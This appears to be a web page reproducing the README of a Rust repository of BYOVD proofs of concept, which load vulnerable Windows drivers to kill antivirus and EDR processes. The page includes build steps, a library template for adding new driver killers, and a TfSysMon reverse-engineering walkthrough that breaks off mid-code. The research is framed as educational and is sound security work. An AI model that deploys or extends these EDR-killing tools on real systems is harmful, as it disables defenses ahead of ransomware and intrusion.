SkillAgentSearch skills...

BYOVD

BYOVD research use cases featuring vulnerable driver discovery and reverse engineering methodology. (CVE-2025-52915, CVE-2025-1055,).

Install / Use

/learn @BlackSnufkin/BYOVD

README

<img width="956" height="538" alt="cropped-Aug 28, 2025, 03_39_19 PM" src="https://github.com/user-attachments/assets/3d4b6944-770c-47c8-883b-f4d9bb90eb4d" />

BYOVD is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions.

The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules.


Since its initial discovery, the TfSysMon driver has been added to LOLDrivers and abused by ransomware groups using the EDRKillShifter tool, as reported by Sophos & ESET


📚 Table of Contents

🔍 Overview

The BYOVD technique has recently gained popularity in offensive security, particularly with the release of tools such as SpyBoy's Terminator (sold for $3,000) and the ZeroMemoryEx Blackout project. These tools capitalize on vulnerable drivers to disable AV/EDR agents, facilitating further attacks by reducing detection.

This repository contains several PoCs developed for educational purposes, helping researchers understand how these drivers can be abused to terminate processes.

🏗️ Project Structure

The project is organized as a Rust Cargo workspace. All PoCs share a common library (byovd-lib) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration.

BYOVD/
├── Cargo.toml                        # Workspace root
├── byovd-lib/                        # Shared library
│   └── src/lib.rs
├── BdApiUtil-Killer/                  # Uses byovd-lib
├── CcProtectt-Killer/                 # Uses byovd-lib
├── GameDriverX64-Killer/              # Uses byovd-lib
├── K7Terminator/                      # Standalone (LPE + BYOVD modes)
├── Ksapi64-Killer/                    # Uses byovd-lib
├── NSec-Killer/                       # Uses byovd-lib
├── STProcessMonitor-Killer/           # Uses byovd-lib (combined v114 + v2618)
├── TfSysMon-Killer/                   # Uses byovd-lib
├── Viragt64-Killer/                   # Uses byovd-lib
└── Wsftprm-Killer/                    # Uses byovd-lib

🔧 Building

Prerequisites: Rust toolchain and Visual Studio Build Tools with the Windows SDK.

# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

Binaries are output to target/release/. Copy the corresponding .sys driver file into the same directory as the executable before running.

📦 byovd-lib

byovd-lib is the shared library that all PoCs (except K7Terminator) are built on. It provides:

  • DriverConfig trait -- each PoC implements this to define its driver name, .sys filename, device path, IOCTL code, and input buffer format.
  • DriverManager -- RAII-based service lifecycle management (create, start, stop, delete).
  • ServiceHandle / FileHandle -- RAII wrappers that auto-close Windows handles on drop.
  • send_ioctl() -- opens the driver device and dispatches the kill IOCTL.
  • run_monitor() -- continuously scans for the target process by name and sends the kill IOCTL when found (Ctrl+C to stop).
  • run() -- the full BYOVD flow: preflight checks, load driver, monitor & kill, cleanup.
  • Helpers -- get_pid_by_name(), ensure_running_as_local_system(), to_wstring().

Adding a new driver PoC is straightforward -- implement the trait and call byovd_lib::run():

use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

Optional trait overrides with their defaults:

| Method | Default | Purpose | |---|---|---| | device_access() | SERVICE_ALL_ACCESS | CreateFileW access flags | | skip_unload() | false | Skip driver cleanup (e.g., drivers that BSOD on unload) | | ignore_ioctl_error() | false | Treat IOCTL failure as success (e.g., NSecKrnl) | | ioctl_output_size() | 0 | Expected output buffer size | | preflight_check() | Ok(()) | Pre-launch validation (e.g., LocalSystem check) |

💡 POCs

Below are the drivers and their respective PoCs available in this repository:

🔬 Complete Driver Reverse Engineering Process (x64)

This section demonstrates the complete A-Z reverse engineering methodology using the TfSysMon driver as a practical example. This process applies to any x64 Windows kernel driver analysis.

🎯 Step 0: Pre-Analysis - Function Import Screening

Check driver imports before starting reverse engineering.

A basic process killer driver requires 2 things:

a way to get a handle on a process (for instance ZwOpenProcess or NtOpenProcess)

a way to terminate the process (for instance ZwTerminateProcess or NtTerminateProcess)

Check if a driver imports both function types. If a driver has in its imported functions Nt/ZwOpenProcess AND Nt/ZwTerminateProcess then it's a potential process killer driver candidate.

Only after confirming these imports should you proceed to detailed reverse engineering in IDA Pro.

🛠️ Prerequisites for x64 Driver Analysis

Required Tools:

  • IDA Pro - for disassembling the driver for static analysis
  • OSRLoader - for loading/running the driver (alternative to sc.exe command)

📍 Step 1: Locate and Analyze DriverEntry

Every Windows driver starts with DriverEntry - find this function first:

In TfSysMon, the DriverEntry looks like this:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  unsigned __int64 v2; // rax
  v2 = BugCheckParameter2;
  if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL )
  {
    v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL;
    if ( !v2 )
      v2 = 0x2B992DDFA232LL;
    BugCheckParameter2 = v2;
  }
  BugCheckParameter3 = ~v2;
  return sub_17484(DriverObject);
}

Analysis Notes:

  • The code performs some initialization with BugCheckParameter2 and BugCheckParameter3
  • The real driver initialization happens in sub_17484
  • Follow the call to sub_17484(DriverObject) - this is where actual driver setup occurs

📍 Step 2: Follow Driver Initialization Chain

Navigate to the initialization function (sub_17484):

NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &De

Related Skills

View on GitHub
GitHub Stars666
CategoryDevelopment
Updated14h ago
Forks99

Languages

Rust

Security Score

100/100

Audited on Apr 3, 2026

No findings